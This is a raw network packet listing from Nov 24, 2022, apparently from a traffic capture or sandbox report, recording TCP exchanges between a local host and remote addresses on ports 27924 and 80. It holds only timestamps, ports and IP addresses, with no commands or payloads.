Nov 24, 2022 16:57:28.560631037 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.560774088 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.560898066 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561026096 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561152935 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561233044 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561336994 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561455011 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561490059 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561615944 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561647892 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561774015 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561852932 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.561933994 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.562194109 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.562272072 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.562302113 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.562334061 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.562414885 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.562587976 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.562618971 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.563015938 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.563163996 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.588987112 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.589014053 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.589103937 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.589190006 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.589339972 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.589587927 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.589703083 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.589735985 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.590025902 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.590303898 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.590329885 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.590714931 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.590915918 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.591310978 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.591586113 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.591609001 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.591705084 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.591739893 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.591952085 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.592184067 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.592232943 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.592284918 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.592675924 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.592695951 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.592866898 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.592910051 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.592928886 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.592943907 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.593358040 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.593381882 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.593405962 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.593432903 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.593563080 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.593661070 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.593713045 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.593730927 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.593750000 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.593766928 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594026089 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594073057 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594093084 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594336987 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594358921 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594408035 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594486952 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594505072 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594800949 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594870090 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.594906092 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.595128059 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.595145941 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.595191002 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.595546007 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.596015930 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.596153021 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.622773886 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.622812986 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.622833014 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.622911930 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.622931957 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.622948885 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623056889 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623074055 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623290062 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623307943 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623322964 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623387098 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623524904 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623610020 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623625994 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623733997 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623749018 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623940945 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.623958111 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.624022007 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.624104023 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.624119997 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.624161959 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.624281883 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625171900 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625189066 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625283003 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625416040 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625494957 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625511885 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625658035 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.625842094 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.625920057 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625952005 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625968933 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625978947 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.625991106 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626003027 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626018047 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626029968 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626110077 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626209021 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626226902 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626243114 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626286983 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626355886 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626426935 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626444101 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626485109 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.626935005 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.627032995 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.655363083 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655431986 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655524969 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655555010 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655584097 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655612946 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655643940 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655760050 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655901909 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655932903 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.655963898 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656079054 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656111002 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656188011 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656219006 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656249046 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656338930 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656368971 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656502008 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656615019 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656646013 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656744957 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656905890 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656939030 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656969070 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.656997919 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657049894 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657177925 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657207966 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657236099 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657265902 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657273054 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.657294989 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657325029 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657356024 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657406092 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657424927 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.657438040 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657777071 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657855034 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657886982 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657916069 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657946110 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.657977104 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.658006907 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.658085108 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.658523083 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.658634901 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.686727047 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.686785936 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.687352896 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.687937021 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.688457012 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.688648939 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.688689947 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.688725948 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.689129114 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.689239025 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.689687014 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690051079 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690093994 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690265894 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690668106 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690715075 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690758944 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690802097 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690845013 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690913916 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.690957069 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.691246033 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.691525936 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.691545963 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.691591978 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.691636086 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.691679001 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.691926956 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.691972017 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.692013979 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.692058086 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.692358017 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.692393064 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.692424059 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.692840099 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.693042040 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.693073988 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.693105936 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.693135977 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.693680048 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.693711996 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.720930099 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.721223116 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.721399069 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.721484900 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.721548080 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.740807056 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.794250011 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.981353045 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:29.029511929 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:29.075454950 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:29.216195107 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:29.245465040 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:29.245497942 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:29.264851093 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:29.309829950 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:31.406686068 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:31.436039925 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:31.454644918 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:31.497447014 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:31.587456942 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:31.618017912 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:31.636428118 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:31.684940100 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:31.718154907 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:31.766202927 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:31.809874058 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:31.865869045 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:31.913355112 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:31.936522007 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:31.985199928 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:32.009874105 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:32.057338953 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:32.059482098 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:32.107333899 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:32.154287100 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:32.205566883 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:32.235923052 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:32.235970020 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:32.276942968 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:32.291893005 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:32.340990067 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:32.341906071 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:32.393177032 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:32.394186020 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:32.445781946 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:32.497406006 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:32.887414932 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:32.904412031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:32.904524088 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:32.904881954 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:32.922209024 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301435947 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301496029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301537991 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301578045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.301582098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301623106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301661968 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.301664114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301706076 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301723957 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.301748037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301793098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301810026 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.301839113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301879883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301898003 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.301923037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.301989079 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.302126884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.302170992 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.302212000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.302238941 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.302253962 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.302310944 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.303018093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.303085089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.303148031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.303148031 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.303210974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.303272963 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.303699017 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.303741932 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.303782940 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.303801060 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.303828001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.303886890 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.304488897 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.304531097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.304574013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.304594040 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.304617882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.304676056 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.305282116 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.305326939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.305480003 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.319447994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.319509029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.319551945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.319566965 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.319595098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.319643021 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.319940090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.319986105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.320029020 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.320029974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.320070982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.320117950 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.320782900 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.320830107 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.320873976 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.320873976 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.320914984 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.320959091 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.321270943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.321314096 CET	80	49712	66.235.200.147	192.168.2.3
